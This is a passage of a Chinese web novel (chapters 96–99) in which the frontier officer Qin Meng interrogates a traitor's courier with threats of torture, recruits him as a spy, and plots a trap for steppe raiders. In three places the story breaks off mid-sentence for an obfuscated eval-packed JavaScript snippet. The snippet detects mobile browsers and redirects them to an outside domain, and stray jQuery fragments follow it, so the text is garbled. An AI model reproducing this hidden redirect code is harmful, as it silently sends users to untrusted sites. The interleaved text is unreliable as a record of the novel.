“且慢!”赵将军见秦猛面露轻松,似欲将此事轻描淡写揭过,他眉头一扬,话锋陡然一转。
“本将记得,刘家产业中,似有一处赤铁矿,储量颇丰,往日不少矿石都售往帅司,其地似乎位于……”
“白松岭!”赵平与周扬异口同声提醒。
“正是。”赵起颔首,目光意味深长地投向秦猛,“白松岭那座赤铁矿,莫非也已落入你手?”
“确是如此!”秦猛坦然承认,毫不犹豫地接话,“铁矿乃军需要资,此矿洞非末将私产,乃充作军矿。
日后所出矿石,六成输送飞虎大营。”
白松岭铁矿储量丰富,且属易开采的地表上层矿。
其产出即便仅三成份额,也足以满足军寨及两堡所需。
愿将六成铁矿石供给飞虎大营,自然不是无偿奉献。
爽快让利之后,秦猛面色转为凝重,进言道:“将军,末将所忧者,是矿洞易遭有心人觊觎。”
“恳请飞虎卫派兵驻防协守,并可在该处直接修建熔炉,将矿石炼为铁锭。”
“如此,可省却大量运输耗费,事半功倍。”
“言之有理。”赵将军“嗯”了一声,似笑非笑地瞥了秦猛一眼,“你这小子,六成铁矿,倒也舍得。
却胆大包天,此番是想拉本将做你的挡箭牌了?”
“将军此言差矣。”秦猛面色如常,当即反驳道:“末将真正忧心的,是草原那边的威胁。”
“军寨百废待兴,兵力捉襟见肘,万一**突袭矿洞,则万事皆休,反而资敌,悔之晚矣!”
“更何况,铁矿实乃我军命脉所在。”
“有充足铁料锻造铠甲兵刃,不知能挽救多少袍泽性命!”
“为此,即便手段激烈些,我秦猛也绝不皱一下眉头。”
赵平、周扬、张富贵、李山等人闻言,自然是知道这种局面,纷纷点头称是,齐声道“没错”。
赵起凝视秦猛良久,目光锐利如刀,似要将其看穿。
最终,他拍板定夺:“矿洞那边,本将会派人布防,并征调一批熟练工匠前往,就地冶炼。”
“将军英明!”秦猛拱手,顺势送上一记马屁。
“将军英明!”
秦大壮、张富贵、李山等人有样学样,齐声高呼,声震屋瓦。
赵起瞧着眼前这群军汉动作整齐,如出一辙,真是哭笑不得,唏嘘“近墨者黑,近朱者赤”。
正当此时,一名飞虎卫兵闯入厅内,带来最新消息。
“将军,秦知寨,袁飞他们回来了!”
第96章 倒刺破硬汉
铁血军寨,依旧是在那官署内。
喜庆气氛早已荡然无存,取而代之的是一股凛冽肃杀之气。
袁飞与王善将捕获的吴二押至大厅。
两人毫不客气地入座,抓起案上烧鸡便大口撕咬,抱起温酒坛就狂灌,含糊不清地汇报情况。
“将军,奉秦知寨命令,我等埋伏在郡城北门外土坡处,苦候两个时辰,终将此獠擒获……”
王善主要负责叙述抓捕经过,并将那封火漆密信呈上。
“直娘贼!路上我等试探问过,这厮就是去草原告密的,证实青阳郡城内有官员与**勾结!”
袁飞则一边抱怨,一边盛赞秦猛料事如神,算定他一走,暗地里的鼠辈便会跳出来,急奔界河报信。
袁飞口中不时迸出的粗言秽语,令赵起将军眉头紧锁,几度欲开口斥责,却终究按捺下去。
秦猛冷眼旁观,心中却若有所思。
赵将军端坐上位,秦猛侧坐相陪,其余将校分列两侧,目光如刀,齐刷刷钉在大厅中央、被军卒死死按住的吴二身上。
吴二何曾见过这等阵仗,面如死灰,心知此番绝无幸理。
赵将军无意多言,直视吴二,开门见山地问:“说吧,把你知道的都说出来,本将或可考虑饶你一命。否则,以通敌罪论处,株连九族。”
“哼!吴某早是孤家寡人,一人吃饱,全家不饿!”吴二岿然不惧,剧烈挣扎,梗着脖子叫嚣。
“要杀要剐,悉听尊便!”
“二爷既落在你们这群丘八手里,就没想着活!”
赵将军眉头拧紧,又厉声追问数句。
吴二依旧不答,被问烦了,索性闭目,一言不发。
赵平、周扬、袁飞等将领勃然大怒,纷纷上前。滴溜起吴二,揪发扇脸用刑,抽刀恐吓。
“哼!来啊!给爷个痛快!”吴二见状非但不惧,反而哈哈大笑,伸长脖颈求死:“若不敢杀我,尔等这些家伙便是缩头乌龟,有种就来!”
他深知若熬刑不过,下场将更为可怖。
吴二那不屑的眼神与辱骂,顿时激得孙平、张富贵等人怒发冲冠,骂声如雷,欲拔刀劈砍。
“退下!”赵将军无奈,喝退众将。
他眼角余光瞥见秦猛仍悠闲地靠在椅子上,翘腿品茶,架势竟比自己还足,不由心头火起。
“秦知寨!此人便交予你审讯,本将只看结果!”赵将军指向地上的吴二,不容置疑地下令。
言罢,他靠在椅子上,端起茶杯。
“遵命!”秦猛二话不说,放下茶杯,慨然领命。
随即,他转头指向王善:“王队长,你去审。”
“是!”王善亦是昂首领命,继而看向兄弟**。
“王副队长,没听见吗?将军要结果!”
“是。”**当仁不让地应声,立刻朝外呼喊:“虎子,这儿有个硬骨头,取专用审讯家伙来!”
“是!”署衙外,传来亲兵王二虎的回应。
这当着将军的面,一连串层层下达的命令,让孙平、周扬、袁飞等将官瞠目结舌,面面相觑。
上位的赵将军更是“噗”一声,将口中茶水喷了出来。
“区区俘虏,何须我亲自动手,顷刻便见分晓。”秦猛忙递上一块干净的帕子,自信满满道。
“我改进了审讯法子,并非不说就用大刑的那套。只需双管齐下,保管这位好汉有问必答。”
“那本将倒要好好瞧瞧。”赵起接过手帕擦拭水渍,听得秦猛如此笃定,狠狠瞪了他一眼。
“赶紧审,若办砸了,将军罚我之前,老子先处置你们!”
秦猛立刻心领神会,转头对王善、**喝道。
王善兄弟此番未再转达“上峰指示”,立即动手。
恰逢王二虎取来审讯工具。
仍是那几条细绳与带倒刺的钢钎。
“哦?果然是条硬汉?”秦猛背着双手,冷冽目光俯视吴二,“小子,将军问话,最好从实招来。”
“若让老子动手,你会明白什么叫做生不如死。
莫说是你,那女真**、冷艳山大当家严彪,起初也如你这般硬气,最后无不哭嚎求饶,尽数吐实……”
“哼……”吴二心中泛起强烈不安,却仍强装镇定冷哼。
“自我介绍一下,我乃铁血军寨知寨官,秦猛是也!你家主子董袭见了我亦需低声下气,你他娘算什么东西?真当老子不知道你们龌龊?”
秦猛故意点破,目光冰寒,视吴二如看个**。
“什么?你便是那秦煞星?”吴二闻言大惊失色。
“动手!”秦猛懒得多费唇舌,直接向王善、**下令。
两兄弟立即带人一拥而上,将吴二死死按住。
他们扒衣褪裤,掏裆捏臀。
“你们做什么?放开我!……”吴二觉得自己被侵犯了,奋力挣扎,见几条细绳缠向裆部,闪着寒光的倒刺钢钎逼近**,吓得浑身剧颤。
“兄弟,董家勾结**罪证确凿,你何必陪葬?飞虎卫赵将军金口玉言,说放你,定会放你。”
秦猛见其惊恐万状,在边上展开言语攻势,抬出赵将军作最后劝说,确保对方看到希望。
“最后给你一次机会,若再不把握,让你求生不得,求死不能。”
“说了吧!你熬不住的!这玩意若是捅进去,那滋味……”**将倒刺钢钎凑近吴二眼前低语。
吴二顿时面无人色,嘶声大叫:“我说!我全说!……”
“这就说了?”赵起,赵平等人错愕。他们视线被阻挡,只看到一群人涌上前,没有骇人手段。
“好了。”秦猛阴笑数声。王善等人即刻停止审讯前奏,并替吴二整理好衣裤,退立一旁。
角落处,李恒早已铺开纸笔。
这是归来路上秦猛特意交代,除署衙公文起草外,此类笔录亦由他负责。
“说,姓名?”秦猛冷声问。
“小…小人姓吴。”吴二惊魂未定:“排行老二,叫吴二。”
“年龄?”
“二十有九。”
“性别?”
“啊?……”吴二愣住了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418912|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
众人亦皆愕然,这难道还不明显?
“**!”**窜上前,一脚将吴二踹倒,“大人问什么,你答什么!多半句废话,大刑伺候!”
王二虎等人立刻凶神恶煞地亮出各式稀奇刑具。
吴二吓得魂不附体,连声应承。
赵将军与其麾下军官目睹此景,只觉大开眼界,眼皮狂跳,愈发觉得这位秦知寨似暴徒多过边军,而且带出来的部下好像是一群兵痞。
但却又莫名感到一种爽快,军人有时便需如此手段。
“性别?”秦猛再次追问。
“男…男的!”吴二身体发抖。
“深夜出城,所为何事?”
“奉…奉命越过界河,前…前往草原。”吴二言语含糊,未直接出卖主人,私下已做好挨打准备。
“奉命?奉谁之命?”秦猛目光如炬,继续逼问,“上个问题你未答全,我未下令用刑。
这次你得想清楚了,机会用尽,你可以试试?”
“试试”二字,如闷雷炸响。
此番赵将军已有准备,未再被吓得手抖出茶水。
“是郡丞董袭大人!”吴二一哆嗦,脱口而出。随后汉子脸色灰败,双肩陡然塌下,如泄气皮囊。
——这是心理防线彻底崩溃的征兆。
秦猛嘴角微扬,续问:“董郡丞派你作甚?”
“派我…派我去草原,给狼戎黑狼部送密信。具体内容我不清楚,只知…只知是要对付秦知寨您……”
在满堂铁甲军汉凶厉目光逼视下,在秦猛独特审讯法的威慑前,吴二硬气过后,竟干脆利落地吐露了幕后主使。
其间赵将军二次确认追问。
吴二回答得更为流畅,如竹筒倒豆子般悉数供出。
果真是青阳郡丞董袭勾结狼戎。
郡守林安国家眷遇袭,亦是此位董郡丞幕后指使。
此番更是派人联络狼戎,意图对边寨不利。
官署内,无人打骂,唯有粗重喘息与咬牙切齿之声。
秦猛取来李恒所录审讯记录,审阅无误后,亲让吴二画押。
王善、**等人作为审讯人签姓名,自己亦署名复核。
“吴二兄弟,现给你个机会。若投靠我们将功补过,不仅饶你性命,且赏赐银钱,日后得以重用。
若不愿,便只能待擒获董袭后,一并斩首示众,同穴而葬,黄泉路上也有个伴,如何?”
这声“如何”,让吴二下意识连连摇头,忙不迭选择前者——但凡有机会活命,谁愿求死?
“你好好斟酌本官的提议!”秦猛朝吴二露出和善笑容,随即令王善将人带下看管,给些吃食。
“将军,审讯完毕,此乃审讯记录,请您过目。”秦猛昂首阔步至赵起面前,双手奉上供词。
赵起全程目睹秦猛如何威逼利诱、瓦解俘虏心防,对事态脉络已然清晰。
他接过记录,只扫一眼,便眼前一亮,以特殊格式记录,角落署名,一目了然,忍不住赞叹。
“好!本将还是小瞧你了!粗中有细,有勇有谋啊!”
第97章 夜谋,将计就计
审讯结束后,议事厅内的烛火摇曳!
案上董袭勾结狼戎黑狼部的供词墨迹未干,勾结草原**,输送粮食铁料,私放狼戎越境、泄露布防图等叛国行径,让空气透着刺骨寒意。
赵将军手指按在供词边缘,指节因用力而泛白。
他肃然地扫过在场众人,沉声道:“此事若传出去,必定动摇北疆军心,任何人不得泄露半个字,否则,不仅自身难保,还会连累家人。”
话音落下,他挥了挥手,让大部分亲兵与将校退下,只留下赵平、周扬、秦猛三位核心将领。
以及亲自擒获报信者的袁飞与王善。
赵起拿起案桌上那封未拆的密信,看向众人,问道:“这封通敌密信,诸位觉得该如何处置?”
“自然是当作铁证!”赵平率先开口c语气带着难掩的愤怒。
“董袭这等败类,勾结**残害同胞,应当立刻拿着密信交给帅司,上奏朝廷,株连九族,将他与同党及家族连根拔起,以儆效尤!”
周扬与袁飞攥紧拳头,纷纷附和:“不仅要查董袭,还要顺藤摸瓜,看看郡城里还有多少官员与他同流合污,若不彻底清理,北疆永无宁日!”
赵起却没有接话,只是皱着眉摇头,目光缓缓落在始终沉默的秦猛身上,那眼神里带着几分期许,开口问道:“秦猛,你有何看法?”
秦猛上前一步,目光落在那封密信上,笃定地说道:“不用看,我都能猜到密信上写的是什么。
董袭的诡计被我破坏,计划全毁。又当众被我羞辱,威胁,颜面尽失,他必然怀恨在心。
这信里,定然是借刀**,向狼戎黑狼部告密,说杀了他们骑兵队的人是谁,怂恿**亲自来对付我,好借狼戎之手报他一己私仇。”
赵起静静地听着,指尖轻轻敲击着刺槐案桌,没有打断他的话,显然是认可他的判断。
可下一秒,秦猛却说出了一句让所有人震惊的话:“这封信,不应该留着当证据,应该送出去。”
“什么?”赵平猛地站直身体,声音都提高了几分。
周扬与袁飞更是满脸不可思议。
袁飞忍不住追问:“秦将军,你这话是什么意思?这可是董袭通敌的铁证,送出去岂不是放纵不管?
还会让狼戎知道是你杀了他们的人,到时候**大怒,越过界河,大军压境,军寨如何抵挡?”
秦猛却神色平静,缓缓说道:“就是要让他们知道,就是要让他们来功,节奏由我们掌控。
为将者,不能只盯着眼前的利益,更要懂得主动创造战机。董袭想借刀**,我们为何不能将计就计,借着这封信,给狼戎设下一个陷阱?”
赵起轻轻点头,眼中赞许之意更甚。
秦猛顿了顿,继续说道:“这密信是要送,而且必须让吴二这个熟人去送,也只有他去。
狼戎认识他,才不会起疑心,这样才保险。
但在这之前,必须先说服吴二归顺,让他成为我们的眼线,再安排我们的人乔装成他的随从。一同前往狼戎部落,趁机摸清狼戎敌情……”
接下来,秦猛开始滔滔不绝地阐述自己的完整计划。
从说服吴二,到随行人员收集情报。
再到后续**来犯,设伏击圈,如何根据情报制定反击策略,每一个环节都考虑得极为周全。
众人这才明白,秦猛抓吴二,不,是离开青阳郡城后,就等着董袭跳出来,借机会重创狼戎。
这计划不仅顾着眼前反击,还想削弱黑狼部实力。
——大周与草原部落交锋吃亏,就是因为部落逐水草迁徙,居无定所,周军找不到目标。
而这计划能精准定位狼戎时代再攻杀!
赵平、周扬、袁飞听得目瞪口呆,后知后觉想到了漏洞,想提问却被秦猛的安排堵回去。
他早防着吴二异心,让两人随行,一人监视、一人收集情报,小队尾随策应,还配了信号烟火。
情报传递藏在马鞍夹层,让斥候接应。
几人越听,越震撼,脸上的震惊逐渐变成钦佩。
只有赵起不时点头,提出见解:“选两人随行要谨慎,策应队伍,也得身手了得,要懂狼戎语,得防着吴二反水,一旦暴露,万般皆休。”
“将军说得对。”秦猛回应,“军寨懂狼戎语的少,我正琢磨人选,请将军也从飞虎卫中筛选。”
两人围绕计划可行性、风险、人员安排讨论许久。
烛火换了一根又一根。
窗外夜色渐浓,月上中天时,才定好计划框架。
赵起整理好盔甲,婉拒秦猛留宿:“计划定了,我得回驻地安排人,明天一早让可靠的来对接吴二的事,不可耽搁太久,别夜长梦多。”
袁飞与王善垂头丧气!
他们主动请缨去草原,却因“不懂狼戎语”被否决。
秦猛拍他们的肩:“此行太危险,狼戎素来敌视汉人,暴露了活不成。后续伏击**,主动突袭,有更重要的任务给你们,别掉链子。”
两人虽不甘,也只能接受。
送走赵起一行,秦猛皱起眉。
计划好定,落地难。选随行人员不易,说服吴二更难。
之前逼供时,他亲自下场,命人对吴二动了刑。
吴二早把他当恶人,现在要吴二帮忙,难度极大。
“大人,”王善早已振奋精神,见秦猛忧虑,忽然提醒,“韩当家是做皮货药材生意,常跟草原部落打交道,他麾下说不定有懂狼戎语的人。”
……
寨内,营房。
近来寨内人数激增,住宿条件紧张。
归来又是夜晚,韩勇及其麾下被临时安顿至此。
韩勇,刘三盘坐在通铺上。
王善,**从食盒里取出酒肉摆上。
“赵将军召见,商议军事,韩当家莫要见怪。”秦猛一边说,一边拿着勺子舀鸡汤,端给两人。
“两位的伤势
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418913|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如何?有什么需要,尽管跟我说。”
韩勇与刘三连忙坐直身体,神色恭敬地接过汤碗。
韩勇连连应声:“多谢大人关心,医官来过,敷药包扎伤口,嘱咐明日,便可缝补治疗。”
两人都是经商多年的人,善于察言观色,一眼就看出秦猛虽然脸上带着笑容,眉宇间却藏着几分忧虑,深夜拜访,定然是有事情。
刘三犹豫了一下,还是开口问道:“秦将军,您是不是有什么心事?若是信得过我们,不妨说出来,或许我们能帮上点忙。”
秦猛看了看四周,见没人注意这边,示意**去门口放哨,才压低声音,提及了烦心事。
如何说服俘虏吴二,让他配合送密信去狼戎部落。
韩勇闻言眼睛一亮,立刻放下汤碗,自告奋勇地说道:“秦将军,此等小事交给我吧!
我常年在北疆与草原之间走动,最懂如何与人打交道,吴二不过是个趋利避害的小人物,只要晓以利害,再许他一些好处,定然能说服他!”
不等秦猛回应,他又接着说道:“而且,您刚才说需要懂狼戎语的人随行,也真是巧了。我这里正好有两个人选——赵虎和陈石。”
“是他们?”秦猛愣了愣。
“没错,这两人原本是东山堡的土兵,东山堡与东胡狼戎族隔河相望,边民经常与狼戎人打交道,不仅会说狼戎语,还熟悉草原的地形。
后来东山堡被**捣毁,他们无处可去,那是我带商队路过,收留了他们的。这两个兄弟身手不错,也够忠心,是随行的最佳人选。”
秦猛一听,顿时大喜过望,他正愁找不到懂狼戎语的可靠人手,没想到韩勇竟然真能推荐。
他连忙说道:“那太好了!韩当家,麻烦你把这两位兄弟请来,我想亲自征求他们的意愿。”
韩勇没有迟疑,立刻让人去自己的住处传唤赵虎与陈石。
不多时,一高一矮两个身影跟着亲兵走了进来。
正是赵虎与陈石。
秦猛当着韩勇的面,语气郑重地将前往草原的任务一一阐明:“此次草原之行,你们需深入敌境探查狼戎动向,标记水源与粮草囤积点,深入草原,稍有不慎,便有性命之忧。”
他顿了顿,加重语气补充奖赏:“但只要任务能顺利完成,赏银百两、军田三十亩这是基础。
除此之外,你二人直接选为本将亲卫,保举你们升任队将,飞虎卫赵将军是担保,从此便是朝廷认证的低级武将,有了正式的军职前程。”
赵虎与陈石对视一眼,眼中满是激动,他们原本只是败兵,流落成匪,如今有机会成为朝廷武将。
这是光宗耀祖之事,是他们之前想都不敢想的事,两人几乎没有犹豫,立刻单膝跪地,齐声说道:“小人愿意前往草原,定不辱使命!”
秦猛满意地点点头,把两人搀扶起身,又叮嘱了几句注意事项,才让他们随**先下去准备。
第98章 怀柔收吴二
韩勇见赵虎、陈石领命退下,打心里为两人高兴。
他本性淳朴,手底下的兄弟能摆脱山贼的身份,过得安稳。是他多年来的坚持,为此努力。
正高兴着,他突然想起一件事,笑容逐渐收敛。“扑通”一声跪倒,看向秦猛,语气满是恳求:
“秦知寨,小人是边堡土兵,当年若不是严大当家相救,早就死在深山里成了野兽的口粮。
回程途中得知大当家没死,求您开恩,让我去见他几面,送点酒菜,也算是报答他当年的救命恩情。”
秦猛见他这般重情重义,稍作犹豫便点头应下:“好吧,明天你就可以去见他,送点吃的。”
他根本没说其他注意事项。
因为他早看出韩勇直爽,办事稳重,更有“双尾狐”的头脑,做事有谱,根本不用额外提醒。
“多谢大人!”
韩勇眼中闪过感激,身子一低就要磕头谢恩。
秦猛眼疾手快,一把就将他拽了起来,语气爽利又实在:“好了,在我这不兴跪拜这套。
你既然加入边寨,那咱就是自家兄弟,以后,没必要搞官场上这些虚头八脑、没用的姿态。”
“是!”韩勇心里像淌过一股暖流,重重地点头。
他不愿落人后,也想主动担事,当即起身说道:“秦将军,那我现在就去见吴二!您放心,韩某保证,一定能说服他,等我的好消息!”
怕秦猛不放心,他又补了句硬气的话。
“若不能说服,任凭惩处!”
一旁的刘三也坐不住了——他心里一直惦记着家人安危,见韩勇主动**,也急忙开口。
“我也去!秦大人连我这种都能网开一面,何况他人?想必以我的身份,也能起到不小的作用。”
说罢,这两个伤号也顾不上疼,伸手就去披搭在一旁的衣服,转身就要往外走。
“等等!”秦猛见两人这般积极,心里其实很满意,却故意板着张脸,指着桌上的汤碗说道。
“先把汤喝了,吃饱了再去。”
顿了顿,他又补充道:“来,我陪你们喝两杯,顺便跟你们说说吴二的情况,也好有个准备。”
“是!”韩勇、刘三立刻停下脚步,依言坐回桌边,三人围着矮桌边,就着酒肉轻声交谈。
烛火映着三人的身影,倒有几分同袍相惜的暖意。
……
等秦猛回到家中时,已经是深夜。
堂屋灯火摇曳,秦小芸与王艳正扎着马步,两人的额头上满是汗水,却依旧咬牙坚持着。
陈月娘则坐在油灯旁,手里拿着针线,凑着亮光,缝补着一件旧衣裳。
秦猛推开虚掩的门进来,脚步声和门响立刻惊动了三人。
“哥!”秦小芸最先惊喜地叫出声,下意识就想收功跑过来,但身子一晃,又勉强稳住了马步。
“秦将军。”王艳也闻声望去,敬畏地打了声招呼。
陈月娘见状,立刻放下手中的针线活儿,站起身快步迎上前,语气温柔中带着关切。
“回来了!”
她熟练地帮秦猛卸下身上沉重的铁甲,转身将铁甲妥善放好,轻声道:“你先坐会儿,我去给你倒杯热茶。”
说着,她便走向伙房,很快里面传来烧水准备泡茶的细微动静。
秦猛看到小妹练得如此刻苦,不由得皱了皱眉,绷着脸走过去:“小芸,练武讲究循序渐进。
不能操之过急,你这样硬撑,很容易伤了筋骨,快停下来休息。”
“我不,勤练才有效。”秦小芸性子倔,咬牙还想坚持,却被秦猛伸手拉住,强行提了起来。
“哎呀,哥……”秦小芸徒劳挣扎。
王艳也连忙收了功,恭敬地站在一旁,不敢说话。
秦猛看着两人通红的脸颊,语气缓和了些:“天太晚了,你们也累了一天,赶紧洗漱休息,明天再练也不迟。”
两女知道秦猛是为了她们好,乖乖地应了声。
这时,陈月娘端着一杯沏好的热茶从伙房出来,递给秦猛:“先喝口茶暖暖身子,热水一会儿就烧好。”
秦猛接过茶杯,走到陈月娘刚才坐的位置边坐下,看着她放在凳子上那件未补完的旧衣裳。
他又看了看她眼底的倦意,伸手握住她的小手,柔声道:“月娘,为何不睡?熬夜对身体不好。”
陈月娘的手被他握住,脸颊瞬间变得通红,连忙低下头,低声如蚊吟:“我……我等你回来,想着把这件旧衣裳补好,以后还能穿。”
“傻丫头。”秦猛无奈地笑了笑,拿过她手里的针线和衣裳,放在一旁,“咱家又不是没钱。
你喜欢什么就买什么,不用这么节省。以后这些缝补的活,让婆子做就好,你不用这么辛苦。有我撑起这个家,不会让你受委屈的。”
一番情话说得陈月娘脸颊更红,“嗯”了一声,她轻轻挣开秦猛的手,小声说了句“我去看看水烧好了没有”,便红着脸快步走进了伙房。
秦猛看着她的背影,嘴角扬起淡笑。
他喝了口茶,稍坐片刻,才起身,先洗漱完毕,又让月娘早点休息,然后,才走向耳房。
那里关押着乌维。
秦猛拎着一个装有烧鸡的袋子,推开门走进屋,把烧鸡丢给乌维,坐在对面的椅子上,学着部队政委那般,开始给山蛮汉子做思想工作。
夜色渐深,耳房里的谈话声断断续续地传出,月光透过窗户,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418914|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
映照出乌维那张凶悍的笑脸……
次日,天色大亮。
秦猛在堂屋与陈月娘、秦小芸,王善兄妹一同用了早饭。
小米粥熬得浓稠,配白面馒头和腌菜,简单却暖腹。
饭后,陈月娘熟练地帮他??甲系带,轻声叮嘱:“军营里不比家里,记得按时吃饭,别总熬着。”
“知道。”秦猛拍了拍她的手应下。又嘱咐秦小芸莫要再过度练武,才带队准备带队去军营。
“**,你留下,带人与乌维收拾家当,官署那边已经修缮好了,今日就得把东西搬过去。”
秦猛路过耳房时,特意嘱咐了一句。
乌维昨晚被他“开导”半宿,此刻虽面色如常,背着巨型弯刀,威风凛凛,闷声应了声“是”。
安排妥当后,秦猛便带着王善等几名亲卫走出院子。
可刚拐过街角,就见韩勇和刘三两人气喘吁吁地飞奔而来,身上的伤号布都被风吹得歪斜。
“将军,吴二昨晚就同意投靠了!”
秦猛停下脚步,饶有兴致地问:“韩兄如何说服他的?”
“也没别的,”韩勇挠头,“就说我从前的经历,当山贼的难处,与吴二颇为相似,有共同话题。
刘三兄弟也帮着说,以自身为案例,将军心胸宽广,连他都容得下,定然不会亏待吴二。”
刘三补了句:“没人愿意死,吴二投靠的干脆。但他有个条件,以后不许再用之前的刑罚。”
两人都面露疑惑,昨晚问吴二缘由时,对方只是夹紧双腿,面露恐惧,支支吾吾不肯说。
秦猛闻言,心里瞬间有了数,却没多解释,只是果断点头:“没问题,这点小事我答应他。”
“只要真心投靠就是自己人,自然没有用刑一说。”
说罢,他便带着两人往关押吴二的屋子走。
推开门一看,吴二正坐在桌边喝粥,除了脸颊还有些红肿。那是昨夜拷问时被赵平等人打的。身上并无其他伤痕,也没有受到**。
可他一见到秦猛,手里的粥碗顿了顿,一想到昨晚的遭遇,眼神里还是忍不住流露出几分恐惧。
“你不必怕。”秦猛走到他面前,语气平静却带着分量,“只要你把该办的事办好,立了功。
以后你就是边军一员,有钱拿、有地分,朝廷的赏赐也少不了你的,挺直腰板做个大丈夫。”
“信不过秦某,虎贲军飞虎卫将军可是一言九鼎。”
吴二愣了愣,眼中的恐惧渐渐淡了些,默默点了点头。
随后,秦猛便带着韩勇、刘三、吴二,又汇合了早已准备妥当的赵虎、陈石,一行人翻身上马,出了堡寨,直奔附近的飞虎卫临时营地……
第99章 双马镫,马蹄铁
飞虎卫营地,晨光刺破薄雾。
飞虎精锐早已列阵演武,甲胄寒光与呼喝声交织,营内杀气凛然。
中军大帐前的空地上,一队兵卒肃立。
——这是赵起昨夜接到秦猛密报后,连夜筛选出的“狼戎语通”。
用过早膳,赵起正欲率军赶赴边寨。
只听到营门外嘈杂,秦猛却已带着一人先行求见。
“将军,此乃吴二。”秦猛将吴二推至赵起面前,沉声道,“经昨夜劝说,他愿投效,只是怕我往日凶名,还望将军亲口许他‘既往不咎’。”
赵起目光扫过吴二紧绷的脸上,和颜悦色道。
“我虎贲军赏罚分明!你若忠心办差,办妥此事,立了功,过往不论,半分委屈也不会让你受!”
吴二听到“虎贲军”三个字,眼神彻底安定下来。
幽州飞虎赵将军的名头他早有耳闻,军中无戏言,当众做出的保证,断然不会出尔反尔。
随后,赵起与秦猛凑在名册前复盘,将派往草原的人手、物资逐一核对,意外情况的应对……
不多时,队伍整装完毕,人人配双马,尽显迅捷。
“事不宜迟,即刻出发!”赵起最终拍板下令。
袁飞及时送来吴二的两匹战马,礼物,行囊。
秦猛则递过那封密信,看着吴二贴身藏好,才郑重嘱咐:“你是汉人,当记边民受**之苦久矣!此番事成,我秦猛亲自为你摆酒庆功。”
吴二本有怯意,却被秦猛坦荡的目光点燃斗志,昂首道:“秦将军放心,吴某必竭尽全力!”
说罢,他翻身上马。
赵虎、陈石如同护卫般紧随,秦猛叮嘱“万事小心”。
三人朝着草原的方向奔去。
十余人的策应队伍才悄然尾随而去。
返回途中,秦猛突然朝人群里的韩勇、刘三递了个眼色。
二人心领神会,立刻冲出队列,“扑通”跪倒在赵起面前:“将军!您可得给我们做主啊!”
刘三更是嚎啕大哭:“将军!求您救救我的妻儿老小啊!”
赵将军被这突如其来的举动弄懵了,皱着眉问道。
“他们是谁?所为何事?”
“将军,此二人皆为刘德福所害。”秦猛上前一步,指着两人说明,“刘三本是刘德福心腹,因知其许多秘辛,事情败露,险些被灭口。
韩勇是幽州普通商贩,好心收留他,却遭迁怒,几家皮货铺、药材店全被查封,强占了去。”
话音未落,韩勇、刘三便按昨夜商议好的,你一言我一语哭诉刘德福的霸道,做的缺德事,将自家惨状说得淋漓尽致,只求赵起做主。
“尔等先起来说话。”赵起脸色肃然,大手一挥。
两侧亲兵立刻上前,将哭倒在地的韩勇、刘三搀扶起来。
秦猛见状,昂首挺胸跨前一步,双手抱拳沉声**:“将军!刘德福罪证确凿,末将愿领兵前往幽州城,铲除这颗毒瘤,营救下属家眷!”
刘三本还在抽噎着,听到“营救下属家眷”几字,眼眶瞬间通红,望向秦猛的目光满是感激。
“不行!”赵起眼皮猛地一跳,当即摇头否决。
他暗自腹诽:此前千多厢军被灭的事还没厘清,秦猛这胆大包天的家伙去了幽州,指不定要闹多大动静。
他面上依旧严肃:“刘德福背后牵扯甚广,需帅司核验后定夺。我会派队伍协同帅司特使去幽州取证,向刺史府讨公道,你无需多操心。”
“将军此言差矣!”秦猛知道会被拒绝,不肯放弃。
“封禁运河断粮道、贼人夜袭边寨,我都是直接当事人,此事因我而起,该由我亲手了结!”
赵起被缠得头疼,板起脸厉声道:“秦猛!昨夜已落雪籽,界河即将冰封,你需守边寨防范**来袭。巡视双涡堡防务,哪有空闲去幽州?”
秦猛见赵起态度坚决,便退而求其次:“那末将便不去幽州,但刘德福必须押来边寨。
他断粮道使得我边寨缺粮,害军民冻饿而死,得当面给百姓和寨兵道歉!另外,容我派几个人,接刘三家眷来边寨安顿,以安其心。”
赵起眉头微蹙,思索片刻后点头:“这个倒是可以考虑。”
行至中军大帐外。秦猛突然停下:“将军,末将有桩能‘提升全军战斗力’的惊天喜讯禀报!”
在场众人皆愣住,寂静一片。
赵起眼中闪过诧异,眯起眼盯着秦猛,探究地问道:“哦?你说说,是什么喜讯能称‘惊天’?”
秦猛不慌不忙,冲身后的**使了个眼色。
**立刻牵来几匹战马——皆是四肢粗壮、鬃**油亮的草原好马。
赵起与麾下将领围着战马来回打量,却没看出任何异常。
“这几匹战马有何特别之处?”赵起疑惑地问道。
秦猛抬手,指向马腹:“将军,您看这马腹两侧的玩意。”
